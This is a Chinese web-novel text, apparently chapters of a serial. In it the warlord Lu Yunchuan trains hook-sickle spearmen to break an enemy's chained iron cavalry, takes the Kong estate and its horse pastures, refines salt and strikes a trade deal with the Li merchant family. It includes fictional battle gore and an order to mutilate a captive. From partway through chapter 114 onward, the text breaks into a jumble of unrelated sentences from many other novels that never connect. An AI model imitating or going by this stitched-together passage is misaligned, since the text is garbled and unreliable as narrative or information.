谁都知道这件事责任重大,没有绝对的金刚钻,谁敢揽这瓷器活儿? 陆云川也不会,他接受的格斗技巧是匕首,压根儿与这钩镰枪不搭边。 就在众人一筹莫展之时。 “当家的,我回来了!” 赵猛冲进营帐,单膝跪地拜见,“近段时间,雍州封锁了前往凉州的道路,我绕行了好远,因此晚了两日,还请恕罪! “不打紧,不打紧……” 陆云川赶紧扶起赵猛,问道:“若我没记错,赵将军是正儿八经的边军步兵头领对吧?” 赵猛点头说了声是。 “你可会使钩镰枪?”陆云川又问。 赵猛语气平常,“那是必然要会的,边军步兵若不会使钩镰枪,如何能破蛮国铁骑兵……” “哦?你还破过蛮国铁骑兵?”陆云川眼睛炯炯有神。 “我就是干这个的啊……” “哈哈哈……真是踏破铁鞋无觅处,得来全不费工夫!” 陆云川大喜,将几日前在孔家庄遭遇铁马连环阵之事向赵猛说了一遍。 “我当是谁,原来是王横的铁马连环阵。” 赵猛摇头不屑,“铁马阵与蛮军铁骑一样,声势大于实力,若遇到指挥得当,训练有素的长枪步兵,那便是一批任人宰割的铁包肉。” “听赵将军语气,有克敌制胜之术了?” “当家的,请给我一柄钩镰枪,我校场上演示。” 众人辗转校场。 赵猛取了一柄钩镰枪,并在校场中用稻草与木头扎了几个模型,用来模拟重甲骑兵。 “钩镰枪用途有三—— 其一,钩马腿,低姿横扫,双手持枪,重心下沉,横向挥扫钩镰部位,瞄准马腿膝关节或踝部, 重甲骑兵冲锋难以急停,钩镰借力割断肌腱, 钩住马腿后,迅速向后拖拽,利用马匹前冲力使其失衡倒地; 其二,钩拉骑兵,瞄准骑兵盔甲缝隙,腋下、腰侧,以钩镰卡住后发力下拉,破坏其平衡。 待骑兵落马后,迅速转为枪刺,攻击其无甲部位,如面部,咽喉; 其三,格挡反击,以枪杆格挡骑兵兵器后,顺势旋转枪身,以钩镰锁住对方武器,再突刺反击!” 讲述完要领后,赵猛深吸了一口气,手腕一抖,枪尖寒光闪烁,下腰贴地,倒钩"咔"地扣住木桩,再一扯,木屑纷飞。 快!准!狠!一气呵成! “好枪法!” 陆云川忍不住鼓掌大赞,又道:“可是光有单兵枪法还不够,对面是铁马军阵,还得练阵型才行。” “当家的所言极是。” 赵猛说道:“铁马军冲锋如墙,我们便以盾为墙,以钩镰为网,以马刀断链; 当然,这得多人训练实操; 当家的若信我,便给三百精壮步兵,我只需三日便能将他们训成临阵不乱的钩镰尖兵!” “好,我给你三百精兵,外加两百马刀手,从今日起,顿顿酒肉与米面,若你们能破了那铁马连环阵,另有丰厚犒赏!” “末将必定不辱使命!” …… 凉州这边在积极练兵,白水涧那边也在积极搞破坏。 九艘战船,分三个批次,每天准时准点,来回在河边牧场晃悠,一旦发现有马来饮水,便用炸药惊扰。 暗派水鬼营的水鬼,潜入草料场里撒巴豆粉,将蒙汗药兑入水源,总之就是不让孔家庄安宁。 那战船在河面上,纵使孔家庄派人来驱逐,也只能站在岸边空射弓箭,根本无可奈何。 三日后。 军营校场上,五百壮汉赤膊操练。 "起盾!"赵猛暴喝。 前排士兵立刻竖起包铁大盾,盾底深深插入泥土。 "出枪!" "哈!" “刺!” “钩!” “拉!” 三百杆钩镰枪同时从盾缝刺出,寒光如林,威风凛凛! “铁马连环阵来临,尔等该如何应对!” “若铁马解开连环,突然变向,尔等又该如何应对!” 赵猛拖着几十匹木马,以稻草人作骑兵,模拟铁马阵发起冲锋。 “铁马”在临近盾墙时突然变向! 但钩镰枪如毒蛇吐信,枪钩"唰"地扣住马腿。 “哗啦啦……” 铁马前蹄全部被精准钩断。 实木做的马脚尚可一击钩断,血肉真实的马脚还不轻而易举? 周大彪也带着刀斧手穿插演练,在盾兵的掩护下,斩马刀专劈铁链连接处。 一旦“稻草人骑兵”从马背上坠落,三五人一组的钝器手便围上去猛打狂锤。 陆云川站在校场边,看着熟练的众将士,脸上的笑意就没消失过。 有此精兵良将,何愁孔家庄不破,何愁大业不成? “当家的,好消息啊,孔家庄饲料不够,都派庄客到附近村子里去抢粮了……” 千目堂探子跑来禀报, “还有啊,这几日孔家庄几乎家家都挂着白绫,敲锣打鼓就没停过,说是马上头七了,要祭奠那些被马踩死的庄客……” 算算日子,距第一次攻打孔家庄,已经过去六天了。 头七么? 真是个好日子。 眼下,装备已足,战术已熟,孔庄已乱,时机已到。 “传我军令,整顿军备,明日卯时,点兵点将,为孔家庄与铁马军……送葬!” “是!” 第一百一十章 击鼓进军 次日。 凉州军再次抵达河曲镇,天刚蒙蒙亮。 半明半暗的日光笼罩着大地,冷风卷着薄雾掠过战场。 河曲城墙下铁马军阵黑压压一片,看来这一次,对面也选择了主动开门应敌。 “赵猛,大彪,这一仗能否获胜,全看你们了。” 陆云川难免是有些紧张的,以前打的都是防御战,真正平原交锋这还是头一回。 “当家的便留在后方,且看我等表演即可!”赵猛自信抱拳。 “嗯……我会在后方,以重弩与火焰辅助你们破阵。” 陆云川作为军队主帅,对面又是重骑兵,他必须保持安全距离,肯定不能带头冲锋。 “钩镰手列阵!” “刀斧手列阵” “弓弩手上膛!” “火器队准备!" 赵猛带三百钩镰枪手列成三排,每排百人,前排持盾,后排持枪,周大彪带两百刀斧手穿插其间。 军阵后远程部队,推来投石机,投弹器,重弩床,炸药,酒精,火油,弩箭纷纷上膛。 来战吧! “击鼓进军!” “咚!咚!咚!” “吼!吼!吼!” 在浑厚的擂鼓声中,步兵举盾持械齐头并进,发出阵阵怒吼。 战斗还未打响,气势便已引爆全场! 钩镰枪队与铁马军阵相距不过三十丈。 敌将王横,眉头紧皱,作为铁马军首领,他知道钩镰枪能克制重骑兵,且对面的赵猛他也认识,在边军中可是个名头不小的人物。 “赵猛!孔老相公平日里待你不薄,王将军也将你视如兄弟,为何要投敌叛军,助桀为虐!” “陆当家替天行道,乃正义之师!王横,我劝你下马受降,早早弃暗投明,陆当家豁达四方,定会不计前嫌!” “呸!好一个卑鄙无耻的叛徒!你以为找来三百把钩镰枪便能破我铁马阵么!简直可笑至极!我只需令旗一挥,便可将你们践踏成肉泥!” 谈崩了,那就掀桌子吧! "兄弟们,今日一战,不是我们死,就是他们亡!大破铁马阵,攻陷孔家庄!" "杀!" “铁马军!” “冲锋!” “咚!咚!咚!” 城墙上也擂响战鼓,铁马军开始推进。 "轰!轰!轰!" 重甲骑兵踏着整齐的步伐,铁链相连,如同一堵移动的钢铁城墙。 马匹披甲,骑士持矛,寒光闪烁间,杀气扑面而来。 每个步兵手心都在微微出汗,虽经历过无数次演练,可在面对这样的铁骑冲锋,仍感到一股窒息般的压迫感。 "稳住!" 赵猛低喝一声,"钩镰手,准备!" 前排盾兵将大盾狠狠插入地面,后排钩镰枪手半蹲,枪尖斜指前方。 铁马军越来越近,大地震颤,尘土飞扬。 "轰!"铁马军撞入凉军阵线,前排盾兵被撞得踉跄后退,但盾阵未破。 "钩!"赵猛暴喝。 三百钩镰枪手同时出手! 枪尖如毒蛇般刺出,倒钩精准扣住马腿,士兵们齐声怒吼,猛地后拽! "嘶——"战马惨嘶,前腿折断,铁甲骑士栽倒,铁链瞬间绷紧。 "断!"周大彪带着刀斧手冲上,斩马刀狠狠劈向铁链关节。"咔嚓!咔嚓!"铁链断裂声接连响起,铁马阵开始崩溃。 “解环,变阵!” 王横见铁链被断,竟主动解开铁环,让铁马单兵作战。 铁马阵不再横冲直撞,而是分出两翼,从左右两边向钩镰队迂回,想要包抄夹击! “龟甲阵!”赵猛振臂高呼。 你变阵,我也变阵! 盾牌兵迅速收拢,每三十人为一队,围成十个铁甲龟壳,马刀手与枪兵从龟甲缝隙中拼命捅杀! 重骑兵则用铁马冲撞,刀斧不停砍击龟壳! 一盾被破,另一盾赶紧补上! 一马被钩,另一马迅速补位! 远处的陆云川望着前线的对抗,哪怕没有亲临战场,心中也热血沸腾, 双方都是精锐中的精锐,一攻一防,太激烈,太精彩! “该我们远程兵发力了!” “放!” 凉军弓弩齐射,箭雨如蝗。 点燃的炸药桶与燃烧瓶,如流星雨陨落般,猛地抛向铁马军后阵。 "轰!"一声巨响,火光冲天。 重弩击穿铁甲,炸药落入军阵,铁马军后阵被炸得人仰马翻,燃烧瓶紧随其后,砸在铁甲上,火焰瞬间脑蔓延,烧得铁甲滚烫,骑士哀嚎着跌落。 一旦骑兵坠马,迎接他们的便是大斧巨锤的狂轰乱砸! “孔庄主!快快助我!” 王横急忙冲城墙上大喊。 “快!快射箭!” 孔四海急忙让庄客射箭。 可相比较炸药与重弩的威力,小小弩箭在龟甲阵面前根本不痛不痒,任由箭雨再密集,也无法感动分毫。 近身肉搏,双方可能不相上下,但远程打击,孔家庄实在太差太差! “王……王将军,快撤回来吧!我们守城!” 孔四海紧张大喊,但他不知,重甲骑兵最大的短板便是转向落难,岂能说掉头就掉头,说后撤便后撤? "稳住!不要乱!" 王横硬着头皮,咬牙怒吼。 但铁马阵已乱,战马受惊,铁链断裂,骑兵互相践踏。 “铁马阵已破!” “冲啊!” 宋康率领凉州轻骑,刘伟率领凉州步兵,五千人呼之而出,进入战场对铁马军展开围歼。 王横见大势已去,怒吼着挥槊想冲杀出去,但不巧坐骑被散落的铁链绊倒,摔得人仰马翻! "王横,你败了!" 赵猛大步上前,钩镰枪直指王横咽喉。 “赵将军,我投降……我投!” 王横低头服软,突然抓起一把沙土,朝赵猛抛洒而去! “卑鄙!” 赵猛侧身避过飞沙,枪尖一挑,倒钩"咔"地扣住王横胸甲,猛地一拽,王横踉跄前扑,赵猛顺势一枪刺出! "噗嗤!" 枪尖贯穿咽喉,鲜血喷溅。 王横瞪大眼睛,喉咙里发出"咯咯"的声响,最终轰然倒地。 “王横已死,休要再做无谓抵抗,速速下马受降!” 赵猛挑起王横头颅高声呐喊! “受降!!” “吼!吼!吼!” 凉军士气大振,劝降的喊声,如同排山倒海。 主将都已阵亡,铁马军士气大跌,又无法撤退逃跑,唯有扔掉武器下马投降。 第一百一十二章 万马奔腾 “快!拉起吊桥!关闭城门!” 孔四海在城楼上目睹王横战死,只得下令死城门。 凉军趁着士气大盛,扛着云梯,修桥铺路,一轮冲锋一下,便已跨过护墙河! 庄客们疯狂射箭,滚木礌石砸下。 三个龟甲阵顶着箭雨,带着火器队移动至城门口。 火器兵推着炸药桶上前,堆了个百八十斤,最后点燃引线。 “快撤啊!” “要炸啦!” 龟甲变阵,横盾屈身,迅速向后撤退。 "轰隆!" 巨响震天,木屑横飞,厚重的庄门被炸得四分五裂! “城门已破,冲啊!” “杀啊!” 凉军蜂拥而入,大杀四方。 很快,河曲镇的防御便被彻底瓦解。 孔四海带领剩余的庄客边打边退,一路败逃至孔家庄。 河曲镇是河曲镇,孔家庄是孔家庄,两个是不同的地方。 只是孔家庄门阀强大,将河曲镇变作了自己的私有集镇,镇上绝大部分都是平民百姓。 面对凉军的杀入,甚至有百姓夹道欢呼,他们已遭受孔家庄压迫太久。 孔家庄修得有寨门防守,其内仍盘踞两三千庄客,但注定大势已去。 陆云川下令将孔家庄出入口全部堵死,并没有贸然进军。 他要的不是孔家庄,而是河曲与饲养技术,并不准备大肆屠杀。 “孔家庄的人听着,我家城主宅心仁厚,不忍心屠庄,不要在做无为抵抗,速速开门投降!” 周大彪扯着嗓子大喊:“只要你们开城投降,将孔四海交出来,妻儿老小皆可保全,一切都可照旧生活!” 寨门上的庄客人人自危,且有自知之明,连铁马连环阵都抵御不了蛮军,一个小小的庄子能撑到几时? “喂!想想七日前,孔四海是如何对待你们宗亲的,他根本就是个自私自利的小人!” “今天是那些人死去的头七吧?瞧瞧你们门上挂着的白绫!这些都是孔四海一手造的杀孽!” “快快开寨门投降,我家城主耐心有限!” 自上回俘虏被无情抛弃后,孔四海名望便在庄中一落千丈,再加上今日一番恐吓,孔家庄客的中心已然动摇。 “将寨门炸开。”陆云川下令。 “是!” 周大彪在盾兵的掩护下,将几桶火药推倒庄门之下。 “轰隆!” 一声巨响! 木头做的庄门,哪有什么防御可言?霎时间被炸得四分五裂,庄子围墙也被震得摇摇欲坠。 陆云川并没有下令进军,而是主动上前一步道: “如你们所见,想要扫平孔家庄,我只需动动手指,现在,我给你们最后一次机会—— 一刻钟后,孔四海若跪在我面前,一切皆可既往不咎; 如若不然,孔家庄内,男女老少,鸡犬不留。” 言毕,不再说话,这是最后通牒。 半刻钟后。 “你们干什么!竟敢绑我!我可是你们的庄主!你们这些叛徒!我咒你们不得好死!” “少废话,你若答应与城主做生意,我二弟岂能被铁马踏成肉泥!” “对!舍你们几个,救我们全族,值得!” 在几个身强体壮的庄客押解下,孔四海及几个核心亲属,被五花大绑押到陆云川跟前。 “孔庄主,墙倒众人推,不是么?” 陆云川骑在马背上,居高临下,冷眼望着孔四海。 “贼叛军,我叔父孔嵩,乃是雍州府的经略使,是封疆大吏!你敢动我——” “去你娘的!” 周大彪一脚将孔四海踹翻在地,“也就那狗官没来,不然与你下场一样!还封疆大吏,天使来了都没用!” “拖下去,断其手足,游街三日,我要让周遭百姓的唾沫,将其活活淹死。”陆云川微微摆手。 “是!” “贼叛军,你不得好死,我做鬼也不会放过你!” 在无能的咆哮声中,孔四海及亲信被拖了下去,至此“三白”之首,落下帷幕。 孔家直系亲属,断然是不能留,但其家族庞大。 收编这种大家族,最好的办法便是再扶持一条旁系宗亲,以军政进行协同管理。 陆云川留下了三千兵马驻守河曲镇,用来监视孔家庄并守护刚得到的牧场。 而后,他迫不及待来到了河曲牧场,准备接手自己心心念念已久的战马。 河曲牧场,顾名思义,河道蜿蜒曲折,有六曲十二湾。每一道湾的岸边,都是一片开阔平原,土地肥沃,水草丰盛,乃是得天独厚的养马之地。 二月春季,阳春化白雪,新草已冒出嫩芽。 牧场仿佛一块巨大白玉,牧草则好似翠绿玉碎,青白相间,相互点缀。 广目一样眺望,数以千计牛羊马匹,正在低头刨土吃草。 “驾!” 陆云川豪情万丈,与诸将扬鞭策马,在草原上纵情狂奔。 所放养的骏马,也被蹄声所催动,似血残阳下,万马奔腾,动若雷霆! 此情此景,宛如一幅栩栩如生的江山画卷! “当家的,这位是驯马师老黄,这位是育马师邓波,这位是兽医张文。” 赵猛带着三名胡须发白的老师傅来到马场驿站,分别向陆云川介绍。 “哦?你们都不姓孔?”陆云川眉毛轻挑。 驯马师老黄行礼道:“回禀城主,我们黄,邓,张三家才是这河曲一带真正的牧民; 我们祖祖辈辈都在河曲一带以畜牧养马为生; 然而就在十年前,孔四海突然带着一批凶神恶煞的庄客迁徙至此,他倚仗背后有封疆大吏撑腰,强行收购了我们的牧场; 从那时起,附近乡村的牧民,便被迫成了他孔家的庄丁,一言不合便非打即骂,生活就堪比农奴。” “唉……十年啦,咱们终于迎来了新主,可喜可贺啊。” “城主,请受我等一拜!” 老黄三人便要跪拜。 陆云川赶紧下马,将他们搀扶起身,“三位老师傅,可是牧场之宝,今后晚生还得仰靠三位老师傅替我养出好马呢。” 一句“晚生”足以让人眼眶湿润。 堂堂一城之主,能将姿态放得如此低,谁不愿追随左右? “城主放心,我们三家在此请示,今后祖祖辈辈,尽职效忠!” “好……” 陆云川深吸了一口气,也是欣慰至极。 “从今日起,河曲一带牧场,正式更名为‘万马堂’!” “赵猛!” “末将在!” “你攻破铁马连环阵,此役你立下头功,即日起我封你为万马堂堂主!领三千凉州军,镇守河曲镇!” “多谢当家的提拔,末将定不负期望!” 第一百一十二章 一封信八个字 解决了战马的问题,建设重甲骑兵便跨进了一大步。 铁马军的铠甲被带回山寨交给匠作堂,以吕铁的手艺,一比一复刻,甚至更上一层楼都不成问题。 时间,反倒成了眼下最难得的东西。 不过好在先前自己的“驱虎吞狼”计谋很成功,蛮国这个外患成功束缚了大昭王朝的手脚。 战争这种事情,谁也无法预料走向。 也许明日大昭便派遣使者和谈至此两国罢兵,也许后日蛮国便会冲破关隘攻入雍凉。 想要在夹缝中割据一方,就必须加快进度武装自己,只要拳头够硬,军队够强大,不论豺狼还是虎豹来了都不虚。 “贤侄,城内的盐价,又高了两成……” 书房中,李良找到了陆云川。 陆云川神情淡然,盐价、米价、布价,各类物资上涨很正常。 大昭王朝无法通过军事手段消灭自己,便采取封锁物资“卡脖子”的手段,切断各类物资流通,想造成凉州城内乱。 这种阳谋,太低端了。 如今陆云川掌握着将近一百里黑河水域,只要手里有银子,连皇后娘娘的原味儿裤衩都能通过走私得到。 西北这个两国交战之地,走私本就十分严重,商人可不会管你什么国家政策,在他们眼中只有自己的利益。 “简单,从国库里拨款,给商人发放补贴,告诉他们,想要赚我的银子,就给我想办法把物资运进来。” 陆云川绝对相信,这些奸商一定有渠道与手段能把物资运进来。 想卡我脖子?根本不可能! 不过“食盐”这种生活刚需,的确该着手去搞一搞了。 光靠盐商走私,并非长久之计,还是得有自己的盐业,自产自销,自用自售。 黑虎崖便掌控着盐矿,若能从其手中夺下,今后便再也不用为钱发愁了。 “对了叔父,我这里有封信,劳烦下去后,你派人将它送往李家庄。” 陆云川将一封书信递给李良。 李家庄是“三白”之一,也是雍凉最大的商人,只要控制了李家庄,便能掌握其手中的商业资源,未来不论是大昭,蛮国,西域,海外,市场上流通的,市场上不流通的,都可以进入凉州。 “李家庄富可敌城,贤侄有把握能招揽到他们么?”李良接过书信问道。 “只要他们看了我的这信,明日必来投诚。”陆云川自信道。 当初陆云川分别向几个大庄子送了拜帖,只有李家庄回赠了一支千年人参,这足以证明他们可以合作。 俗话说得好:“万丈红尘三杯酒,千秋大业一壶茶。” 能坐下来谈生意,何必打打杀杀呢? 李良收好信封退出书房。 陆云川则辗转来到后厨。 还没等他烧火,李婉清与苏萍儿便跑了进来。 “先生,先生,你终于要做‘蛋糕’了么?” 苏萍儿睁着渴望的大眼睛。 因为陆云川只要亲自去厨房,便会弄出一些“稀奇古怪”的东西,比如香皂,皮蛋,奶茶…… “你们的嗅觉还真灵敏啊。” 陆云川摇头笑道,“不过这一次不做蛋糕,而是‘精盐’提纯。” 苏萍儿失望发出一声“啊……” “下次,下次再做蛋糕给你们吃。”陆云川笑着安慰。 “可是……我们吃的一直都是精盐呀。” 李婉清捧来盐罐,捏了一小撮,“这难道还不够精细啊?这么一罐的话,得八十文呢!比普通的粗盐贵四倍,寻常老百姓都吃不起。” “当然不够了,你瞧瞧这盐,跟米粒儿那么大。” 古代提纯技术欠缺,最精细的盐,也有米粒儿那么大。 那些粗盐就更不用说了,跟小石子儿差不多,且色泽暗黄,杂质含量高,口感苦涩。 陆云川笑道:“我要制作的精盐,跟河沙一样细,跟白霜一样白。” 李婉清抿了抿柔唇,“你要有这本事,能配享太庙……” “不信就走着瞧。” 陆云川招呼李婉清烧水,苏萍儿烧火,自己则取来了草木灰,以及一块丝绸绢布。 盐有分很多种,海盐,矿盐,湖盐,井盐。 其中海盐与湖盐纯度最高,用晾晒法将水晒干,就能得到白花花的盐块。 古代对盐块处理手段,顶多也就是晾晒,熬煮,沉淀,过滤这四个步骤。 这些手段只能清除那些可溶水的杂质,而像矿盐中那些不可溶的杂质,比如硫化物,就得需要更高一层的提纯手段了——酸碱中和。 通俗来讲,就是利用草木灰制作的碱水,把盐水中的硫给它“扣”出来,然后反复过滤掉。 半个时辰后。 经过前后五次用绢布反复过滤掉的盐水已经变得非常干净。 接下来便是最后一步,熬煮结晶了。 将高浓度盐水倒进锅中,大火熬煮蒸发掉多余的水分,那么一锅白晶晶的食盐便成了。 “真的好细……” 李婉清瞧着从锅底刮下,犹如细沙般的精盐,惊讶得几乎合不拢嘴。 “尝尝味道如何?” 陆云川捏了一小撮,顺势便丢进了她嘴里。 齁得她直砸舌,“好咸!比平常的精盐要咸好几倍!” “生活也越来越有盐味儿了,对吧?” “嗯!” …… 另一边。 李家庄,客堂灯火通明。 庄主李肃,握着凉州城送来的信件,表情严肃,手微微颤抖。 堂下坐着的十来个人,都是李氏高辈分宗亲,个个锦衣玉带,仪容举止富贵,随便拎一个出来,都是腰缠万贯的富豪。 “这可怎么办啊,凉州城突然冒出这么个煞星来……” “依我看,庄主,只要他条件不过分,咱们都答应得了……” “是啊,孔家庄都被他给灭了,咱们如何抵抗得了?” 议论纷纷。 这人越有钱吧,胆子就越小,也就越怕死。 “爹,他信上到底说了什么。” 站在李肃身旁的一名二十岁出头,穿着白色锦衣的青年男子出声问道,他是李家少庄主,李肃的独子,李璞。 李肃长叹道:“信上只有八个字。” “八个字便将您吓成这样么?哼,真当我李家是软柿子了么!” 李璞抓过信纸,眼睛一扫,顿时脸色大变,信上的确只写了八个字—— “你来找我?我来找你?” 第一百一十三章 千秋大业一壶茶 次日中午。 陆云川专门在庭院里摆了一桌酒菜,等李家人来找。 李家人肯定不会希望自己去找他们,所以他们肯定会主动找上门。 “当家的,李家人来了,不过好像不是庄主李肃,而是他的儿子李璞,这家伙一个人来的。” 刘伟走进庭院禀告。 “哦?”陆云川微微挑眉,“单枪匹马,代父出席?” “是啊,李璞是凉州一带有名的青年才俊,年纪轻轻便在商界颇有威望了。”刘伟说道。 陆云川轻嗯了声,“撤走院里的所有护卫,我与他单独谈。” “可是,万一……” “他敢单枪匹马来,我为何不敢单独见他?一个商人之子,未必还能刺杀我不成?撤了吧。” “是!” 庭院中的护卫全部撤去。 而后李璞走了进来。 一个人是否俊杰,看走路姿势与仪容便能分辨,李璞锦衣一尘不染,四方阔步,昂首挺胸,比黄鹏飞那种徒有虚表的伪君子强太多了。 李璞瞧见亭中落座的陆云川,眼中也闪过了一丝惊讶,他曾一度以为这位城主是个中年人,没想到竟与自己年纪相仿。 就是这么个年轻人,杀钦差,灭孔家,夺凉州么? “李少庄主,幸会幸会。” 陆云川笑着打了声招呼,指向对面的石凳,“坐。” 李璞落座。 “令堂为何不来?” “家父刚染风寒,不便出门,因此我便带他来与城主相会。” 李璞顿了顿,开门见山:“不知城主召我前来,所为何事?” “也没什么大事,就是随便吃点儿,喝点儿。” 陆云川用手扫了一遍桌子上的酒菜,突然手指停在桌子中间的一碗汤上,又道:“特别是这碗三鲜汤,味道极其特别,李少庄主一定要尝尝。” 说罢,他拿起汤匙,盛了一碗递到李璞面前,做了个“请”的姿势。 李璞有些摸不着头脑了,盯着汤碗许久,里面会下毒么?大可能不会吧。他若想要杀自己,也不会专门叫自己来了。 沉默了片刻,李璞端起汤碗喝了一口,瞬间皱起了眉头。 “如何?这汤的味道,是不是很特别?”陆云川笑着问道。 李璞放下汤碗,好奇打量着对面之人,这汤的确很特别,淡得跟开水一样,没有一点盐味儿。 煮一碗淡而无味的汤,这城主葫芦里到底卖的什么药? 陆云川也没多说话,而是摸出一个小袋子,从中撵出一小撮昨日制的精盐,当着李璞的面洒进碗里,才道: “李少庄主,再尝尝这汤。” 李璞端起汤碗,又喝了一口,瞬间放大了瞳孔,淡而无味的汤水,瞬间变得好咸! 他刚刚放的是盐? 这怎么可能!他李家做过不少食盐生意,从来没见过这么精细且有盐味的食盐! 陆云川呵呵一笑,将盐袋子扔到李璞面前道:“今日来,就是与你谈这个。” 李璞为了眼睛,用手指沾了一戳,放到嘴里尝了尝,果然是极品精盐! 身为商人的他,当然知道这意味着什么,这极品精盐若分销出去,绝对是泼天富贵! “其实我一点也不想对孔家庄动武,是他们不识时务。若孔四海能像李少庄主这样,坐下来跟我谈生意的话,他孔家庄便绝不会是今日的下场。” 陆云川倒了一杯热茶,推到了李璞跟前,“从今以后,我开采,我提纯,再由你李家全全经销,所得利润咱们三七分账,除此之外,我还可以在黑河上给你们专门开辟一条专属通道,只要黑河经流过的地方,你李家商船可畅通无阻。” “那……那定价呢?”李璞声音颤抖。 “在我的势力范围内,平价一百文一斤,至于其他地方么,那就看你们有没有良心了。”陆云川淡淡道。 李璞在心里算了笔帐,若一百文抽三成,便是三十文一斤,像这种极品精盐,往大城市里分销,卖它个三百文也不成问题,三百文抽三成利润,那便是九十文。 如今的盐价普遍在二十文一斤,除开购买盐引的价格,利润最多只有十文。 与城主合作,最少翻三倍,最少翻九倍甚至更多! “做了!这生意做了!” 李璞收走了盐袋,饮下了桌上的那杯茶。 “不仅是食盐,我还有很好东西,都是暴利产品……总之,有我一口肉,便有你们一口肉,不仅如此,只要我手能伸到之处,都能给李家商队安全保障。” 香皂,皮蛋,酒精,生铁,乃至于火药,都可以售卖,都有暴利,只要商路一打通,金山银山将会一座一座堆满凉州。 “我李家庄,愿意效忠城主!” 李璞起身,拘礼拜谢。 “坐坐坐。” 陆云川示意让他坐下,又道:“这次找你来,还有件事情想咨询—— 你李家庄在凉州经商多年,应该知道黑虎崖的私盐产业吧? 那么,你们可有卖过黑虎崖出产的私盐?” “没有。”李璞斩钉截铁。 “为何?” “因为压根儿瞧不上。” 李璞说道:“黑虎崖那些土匪,开采的是矿盐,本身就杂质很多,再加上他们制盐手段粗糙,盐很难吃,只有那些小盐贩,小作坊才会去找黑虎崖批发矿盐来卖; 像我们李家庄这样的大商户,宁远多花点钱购买盐引,也不愿去买那些低劣的矿盐。” “那你们可有跟黑虎崖有过其他生意上的接触?”陆云川又问。 “也没有。” 李璞说道:“城主,实不相瞒,我们李家庄是生意世家,并不喜欢像孔家庄、黑虎崖那般争地盘、抢田地; 我们会发展庄客,主要是为了保障自家商队与庄子安全,防的便是黑虎崖那帮打家劫舍的土匪。” 陆云川点了点头,本以为能问出些什么,可眼下看来李家庄很干净,并没有掺和黑道上的生意。 “行吧,我会尽快去吃掉黑虎崖,确保咱们今后的食盐生意能更快进行。” 陆云川起身,一直送客出宫门。 “城主留步,李璞告辞。” 李璞拘礼作别,就此离去。 在陆云川看来,今日与李家庄谈话的成果,胜过了他打十场胜仗。 “刘伟。” “末将在!” “去,派人将千目堂在悲鸣寺与黑虎崖的探子全部召回。” “明白!” “三黑三白”皆已去其二,剩下的“一黑一白”,也差不多该对其动手了。 第一百一十四章 亲自出马 “城主,这是我们这些日子来,所探查到的悲鸣寺与黑虎涯地图。” 刘马双手献上一副地图。 如今张三儿被委派掌管着白水涧,刘马顺势上位便成了千目堂新首领。 那在殿中打坐的成山主持身子晃了一下,老和尚打着呵欠转过身来,原来他刚才是在睡觉,一边打坐一边睡觉,倒是两不耽误。 其实顾慎年这套公寓并不寒酸,从毛柸到装修完毕也差不多花了一千多万,一千多万的公寓,普通人可住不起。 如果是在今晚之前,卡尔遇到这种情况,只能乖乖举手投降,任由对方洗劫一遍。然而,现在,刚刚获得了超自然能力的他,完全有着其它的选择。 “嗷”的一声,那只七级豪猪的攻击被李九阻挡掉后,又措不及防的被南宫云遥所射出的利箭所击中了,整个身躯都被箭矢都穿了进去,一道鲜血随之喷了出来,便伴随着低吼的惨叫声。 而且这种混合黏合剂晾干都要许久,全把精力放在这上面了,其他修缮工作还做不做? 而在这期间,众人都盘膝在鹏背上打坐了起来,等候着那战斗的到来。 有了之前澜阳大酒店别墅里的摊牌,赵薪觉得如今就算在秦羽儿面前亲密称呼唐月也无碍。 郑琛珩方才以为他是心情不好,所以出去透透气,他也就没敢跟上去打扰他,可是,这一出去,熙晨还真就是没再回来。 脱下衣服换好鞋子的赵薪一把将她抱住,感受她的身体曲线在手指间展现出完美的弧度,仿佛是在诉说着一种独特的韵味。 眼看着树身上面的火渐渐的熄灭常霄有一些急了,咬破了舌尖,喷出一口舌尖,血在那铜钱剑上,这铜钱剑剑身上面便发出微微的金光。 三帝会盟之后,颜渊曾率领吕春秋门下弟子,共七十二贤人,在彭城外桃花林与范月华联手对敌。 “我,我也不行了。”朱菁菁累的气喘呼呼,她也好不到哪里去,不过她是因为之前被周平暗算,能量消耗过半体力不支。 我寻思着佐助叛村估计还挺严重的……但下处分是木叶的事情,作为“宇智波鼬”,我也只能使用后一种处理办法。 这个袋子的布料看不太好,到底是什么材质的,但是能够在这里放这么久,还不坏的绝对是好东西。 其实被红毒之术所害,也会出现这种症状,毕竟红毒本身也是幽冥法。 两人不约而同的笑了出来,随后便吃下最后几口饭,这才离开了包厢。 熊以安不以为然,若没有妹子进宫,哪来一家的荣华富贵,眼下不是后悔不后悔的事,是如何让外甥守盛早日成为太子,只要太子之位定下,妹子,还有熊家自然安如磐石。 不过现在看来,这一切都是值得的。要是没有这一场,自己怎么可能用十多年的时间来达成这最终的目的呢? 也就在这个时候,一个佣兵突然像是想到了什么一样,将止血水拿了出来,给这个受伤的佣兵敷上,而奇迹也就在这个时候出现了。 水潭底底部的叶璇看着躺在自己身边的魔修大人尸体,无奈的摇了摇头,开口提醒众人到。 第一百一十五章 掷杯为号 “快跑啊!” 两个青壮也是够怂,扭头便要跑,可不等他们动弹半步,石凯与汪洪波并排而起,瞬间将他们包围! 石凯拔出佩刀。 “咔嚓!” 刀锋直接捅进最前面那人的肚子,再狠狠一拧! “好……”虽然凌雨清对隐神宗的人没有任何好感,但是事关苍渊的性命。 “宗主,我已打听过,那‘冲云楼’便是招待这次前来参加登天大试的宗门弟子的地方。”长云恭敬地说,他是真的被苍渊折服了。 现实世界天龙学院某校区宿舍单间内传出器材打开的声音,在昏暗的房间中放着的正是王者游戏的价值88万游戏舱,在游戏舱中躺着一个缓缓睁开双眼的俊美青年! 维持队形的百夫长们一看不行,士兵们和百姓的情绪实在是太狂热了,万一出点什么意外可就不得了了。 薛云不敢迟疑刚才那一瞬间若是他用剑尖刺破火蝴蝶的眉头,那么他也会背金刚环当场击杀,难道他又跟火蝴蝶的同归于尽吗?太划不来了,可是现在却没有机会再找到击杀火蝴蝶的方法,因为她已经提高了警惕。 当疲惫的流火走到师傅的大帐之时,他才突然意识到,今天一天还没有给师傅请安呢。 “从现在起,所有在问道山附近的人手都听轩辕落的安排!”莫北轩对剩下的黑衣人说。 就这么僵持了五六分钟,景墨轩放下手中咖啡杯,起身向休息室的方向走过去。他没有敲‘门’,而是直接走了进去。 孤雨奋身而起,瞬步发挥到极致,转眼间他终于来到了夕颜姐妹的身前,她们早已经‘花’容之‘色’,特别是凋零雪,这个冰封万里给他带来的震撼不只一点点。 